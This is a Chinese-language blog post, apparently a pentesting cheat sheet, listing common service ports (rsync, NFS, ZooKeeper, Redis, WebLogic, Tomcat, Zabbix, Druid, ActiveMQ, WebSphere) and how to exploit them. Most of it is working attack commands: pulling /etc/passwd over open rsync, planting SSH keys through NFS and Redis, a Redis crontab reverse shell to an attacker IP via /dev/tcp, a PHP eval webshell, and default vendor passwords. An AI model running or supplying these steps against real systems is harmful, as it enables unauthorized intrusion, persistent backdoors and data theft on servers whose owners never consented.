常用端口存在的漏洞及其利用方式

873 rsync 未授权访问:
rsync IP:: //这是在默认条件下没有改变默认的端口,默认密码是::
rsync --port=xxx ip:: //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口
rsync -avz ip::www /tmp //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径
rsync -avz --port=xxx ip::dddd /tmp

rsync --port=xxx ip::
rsync ip::
rsync rsync://ip:873

 

 

#获取到目录之后,只需在路径后添加目录名即可查看目录中的文件。

rsync ip::src
rsync rsync://ip/src

 

 

#下载任意文件

rsync rsync://192.168.122.1/src/etc/passwd ./
rsync 192.168.122.1::src/etc/passwd ./
#上传任意文件
rsync x.txt rsync://192.168.122.1/src/home/
rsync x.txt 192.168.122.1::src/home/

 

 

2049 nfs 未授权:
showmount -e ip

#查看nfs挂载
showmount -e server_ip
#客户端挂载,挂载到本地的/tmp/test路径
mount -t nfs server_ip:/var /tmp/test
#卸载共享目录
umount /tmp/
#配置ssh永久连接
mount -t nfs server_ip:/ /tmp/test
ssh-keygen
cat ~/.ssh/id_rsa.pub >> /tmp/test/root/.ssh/autorized_keys ssh
root@server_ip

 

 

 

2181 zookeeper 未授权:
#输出服务器的详细信息。
echo envi | nc xx.xx.xx.xx 2181
#输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
echo conf | nc xx.xx.xx.xx 2181
#列出所有连接到当前服务器的客户端/会话的详细信息。
echo cons | nc xx.xx.xx.xx 2181 | more
#输出未处理的会话和临时节点,leader 节点有效。
echo dump | nc xx.xx.xx.xx 2181 | more

#如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh。
apt-get install zookeeper
#使用-server参数指定目标即可连接。
./zkCli.sh -server xx.xx.xx.xx:2181

 

 

3389 rdp 爆破 CVE-2019-0708


5900 vnc 爆破


6379 redis 未授权:
#默认redis使用的6379端口,使用nmap查看端口情况
nmap -A -p 6379 --script redis-info ip
#未授权连接
redis-cli -h ip [-p port]
#可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径
info
#可以查看里面的key和其对应的值
keys *
get key

#漏洞利用
1.利用crontab反弹shell
>>直接向靶机的Crontab写入任务计划,反弹shell回来
redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save
>>然后在攻击机(192.168.242.131)上启动 nc 监听 888端口,等待反弹shell。这过程需要一些时间。
[root@localhost ~]# nc -lvnp 888

2.写入webshell
当自己的redis权限不高时,可以向web里
写入webshell,但需要对方有web服务且有写入权限。假设靶机里面存在WEB服务并且目录在 /var/www/
redis 192.168.242.134:6379>config set dir /var/www/a
redis 192.168.242.134:6379>config set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
redis 192.168.242.134:6379>config set dbfilename webshell.php
redis 192.168.242.134:6379>save
写入之后访问目录看是否存在,如果已经写入,可以使用菜刀连入数据库了。

3.写ssh-keygen公钥然后使用私钥登陆
>>利用条件:
(1)redis对外开放,且是未授权访问状态
(2)redis服务ssh对外开放,可以通过key登入
>>具体利用步骤:
1) 准备好自己的公钥,写入本地文件text.txt。
[root@localhost src]#ssh-keygen -t rsa # 创建秘钥
[root@localhost src]#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2) 通过redis将该文件写入内存
[root@localhost src]# ./redis-cli -h 192.168.242.134 flushall
[root@localhost src]# cat test.txt | redis-cli -h 192.168.242.134 -x set crackit #链接redis 并将秘钥上传
3) 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
[root@localhost src]# redis-cli -h 192.168.242.134
192.168.242.134:6379> config set dir /root/.ssh/# 切到ssh目录去
192.168.242.134:6379> config get dir
192.168.242.134:6379> config set dbfilename "authorized_keys"# 保存到 authorized_keys 文件里
192.168.242.134:6379> save ssh -i id_rsa root@192.168.242.134# 保存并登陆

 


7001 weblogic:
#利用exp
https://github.com/rabbitmask/WeblogicScan

#控制台弱口令
后台登录地址:http://ip:7001/console
默认用户名密码:weblogic/weblogic
#控制台文件上传getshell
https://www.cnblogs.com/bmjoker/p/9822886.html

 


8009 tomcat CVE-2020-1938 幽灵猫
#xray检测命令
xray_windows_amd64.exe servicescan --target ip:8009

 


8069 zabbix 弱口令+命令执行
http://ip:8069/zabbix
zabbix常用弱口令 admin/zabbix 或 guest/空口令
#反弹shell(https://blog.csdn.net/Adminxe/article/details/105926971)
利用口令登陆以后开始反弹shell
管理—脚本,在命令写入反弹shell命令,在VPS开始nc监听
监测->问题,随便打开个主机找到刚刚创建的脚本,就可以执行反弹shell命令

 


8086 druid未授权(通过泄露的Session登录后台)
/druid/websession.html
/system/druid/websession.html
/webpage/system/druid/websession.html

 


8161 Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)

https://paper.seebug.org/346/
https://www.cnblogs.com/xyongsec/p/11459542.html
https://blog.csdn.net/weixin_42936566/article/details/87004649


9090 websphere控制台
Websphere8.5登录页面:https://localhost:9043/ibm/console/logon.jsp
Websphere6-7默认控制台地址也是:http://localhost:9043/ibm/console
弱口令:admin/空密码

posted @ 2020-08-03 20:45  vvan9  阅读(1097)  评论(0编辑  收藏  举报